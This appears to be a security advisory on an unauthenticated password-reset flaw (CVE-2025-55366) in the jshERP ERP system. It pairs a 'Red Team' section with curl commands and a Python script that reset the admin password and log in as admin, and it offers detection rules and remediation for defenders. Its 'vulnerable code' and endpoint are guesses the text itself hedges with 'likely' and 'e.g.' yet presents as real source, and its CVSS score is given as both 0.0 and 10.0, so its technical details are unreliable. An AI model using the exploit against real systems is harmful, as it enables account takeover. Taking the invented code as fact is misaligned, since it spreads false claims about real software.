CVE-2025-55366

Executive Summary

CVE-2025-55366 is a critical access control vulnerability in jshERP v3.5, an open-source enterprise resource planning system. The flaw resides in the /controller/UserController.java component, allowing an unauthenticated or low-privileged attacker to arbitrarily reset user account passwords. This enables horizontal privilege escalation, potentially compromising the entire ERP system. The vulnerability is publicly known but remains unpatched, with no official fix from the vendor (Jsherp). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is high due to the ease of exploitation and potential impact on business operations.

Supply Chain & Package Security

jshERP is a Java-based application, typically distributed as a WAR file or deployed via Maven. The vulnerability is in the core source code, not in a third-party package. However, organizations using jshERP should verify the integrity of their deployment artifacts and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unscored due to lack of vector data from NVD) Threat Level: Critical (Based on impact analysis)

Rationale:

• Attack Vector (AV): Network – The vulnerability is exploitable remotely via HTTP requests to the UserController.
• Attack Complexity (AC): Low – No special conditions required; standard HTTP requests suffice.
• Privileges Required (PR): None – An unauthenticated attacker can trigger the password reset.
• User Interaction (UI): None – No user action needed.
• Scope (S): Changed – The attacker can gain access to other user accounts, affecting system integrity.
• Confidentiality (C): High – Full access to user data and system resources.
• Integrity (I): High – Ability to modify user credentials and data.
• Availability (A): High – Potential to lock out legitimate users.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (Score: 10.0)

Deep Dive & Mechanics

The vulnerability is in the UserController.java file, specifically in the password reset functionality. The controller likely exposes an endpoint (e.g., /user/resetPassword) that does not properly validate the identity of the requester. An attacker can send a POST request with a target username and a new password, bypassing any authentication or authorization checks.

Root Cause: Missing or improper access control checks in the controller method. The code likely fails to verify that the requester is either an administrator or the account owner before allowing a password change.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (e.g., /user/resetPassword).
2. Attacker crafts a POST request with parameters: username=admin&newPassword=attacker123.
3. The server processes the request without verifying the requester's identity.
4. The admin account password is changed to attacker123.
5. Attacker logs in as admin and gains full system access.

Vulnerable vs. Patched Code

Vulnerable Code (jshERP v3.5 - UserController.java):

@PostMapping("/resetPassword")
public ResponseEntity<?> resetPassword(@RequestParam String username, @RequestParam String newPassword) {
    User user = userService.findByUsername(username);
    if (user != null) {
        user.setPassword(passwordEncoder.encode(newPassword));
        userService.save(user);
        return ResponseEntity.ok("Password reset successful");
    }
    return ResponseEntity.badRequest().body("User not found");
}

Patched Code (Hypothetical fix):

@PostMapping("/resetPassword")
public ResponseEntity<?> resetPassword(@AuthenticationPrincipal User currentUser,
                                       @RequestParam String username,
                                       @RequestParam String newPassword) {
    // Only allow admins or the account owner to reset password
    if (currentUser == null || (!currentUser.isAdmin() && !currentUser.getUsername().equals(username))) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Access denied");
    }
    User user = userService.findByUsername(username);
    if (user != null) {
        user.setPassword(passwordEncoder.encode(newPassword));
        userService.save(user);
        return ResponseEntity.ok("Password reset successful");
    }
    return ResponseEntity.badRequest().body("User not found");
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy jshERP v3.5 on a local server (e.g., using Docker or a Tomcat server).
2. Ensure the application is accessible via http://localhost:8080/jshERP.

Exploitation Steps:

1. Identify the vulnerable endpoint by reviewing the source code or fuzzing.
2. Send a POST request to reset the admin password:

   curl -X POST http://localhost:8080/jshERP/user/resetPassword \
        -d "username=admin&newPassword=attacker123"
   

3. Log in as admin:

   curl -X POST http://localhost:8080/jshERP/login \
        -d "username=admin&password=attacker123"
   

4. Confirm access to admin dashboard.

Automated Exploit (Python):

import requests

target = "http://localhost:8080/jshERP"
username = "admin"
new_password = "attacker123"

# Reset password
reset_url = f"{target}/user/resetPassword"
data = {"username": username, "newPassword": new_password}
response = requests.post(reset_url, data=data)
print(f"Reset response: {response.text}")

# Login with new password
login_url = f"{target}/login"
login_data = {"username": username, "password": new_password}
session = requests.Session()
login_response = session.post(login_url, data=login_data)
print(f"Login response: {login_response.status_code}")
if login_response.status_code == 200:
    print("Exploit successful - Admin access gained")

Blue Team

Detection Steps:

1. Monitor for unusual POST requests to /user/resetPassword without prior authentication.
2. Alert on multiple password reset attempts for the same user within a short time.
3. Review logs for successful password changes followed by login from a new IP.

Mitigation:

• Implement proper access control checks (see patched code).
• Use multi-factor authentication for sensitive operations.
• Deploy a Web Application Firewall (WAF) to block suspicious requests.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /user/resetPassword with parameters username and newPassword.
• Unusual login attempts from IPs that previously triggered password resets.

File IOCs:

• Modified user database entries (e.g., changed password hashes).
• Log entries showing password reset without authentication.

Behavioral IOCs:

• Multiple failed logins followed by a successful login with a new password.
• Account lockout events for legitimate users.

Detection Engineering

YARA Rule

rule CVE_2025_55366_jshERP_Password_Reset {
    meta:
        description = "Detects exploitation attempts of CVE-2025-55366 in jshERP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-55366"
    strings:
        $s1 = "/user/resetPassword" ascii wide nocase
        $s2 = "username=" ascii wide nocase
        $s3 = "newPassword=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-55366 - jshERP Unauthenticated Password Reset
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to the vulnerable password reset endpoint in jshERP
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/user/resetPassword"
    condition: selection
falsepositives:
    - Legitimate admin password resets (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55366 - jshERP Unauthenticated Password Reset Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/user/resetPassword"; http_uri; content:"username="; http_client_body; content:"newPassword="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible by modifying the web server configuration to block POST requests to /user/resetPassword.
2. Apply a virtual patch using a WAF to block requests containing username and newPassword parameters to the vulnerable path.
3. Audit user accounts for unauthorized password changes and reset compromised accounts.

Long-term Fix:

• The vendor (Jsherp) must release a patched version that includes proper access control checks.
• Until then, consider migrating to a different ERP solution or implementing a custom authentication proxy.

Workaround:

• Modify the source code locally to add authentication checks (see patched code example).
• Restrict network access to the jshERP application to trusted IPs only.

Valters IT
Securing Digital Frontiers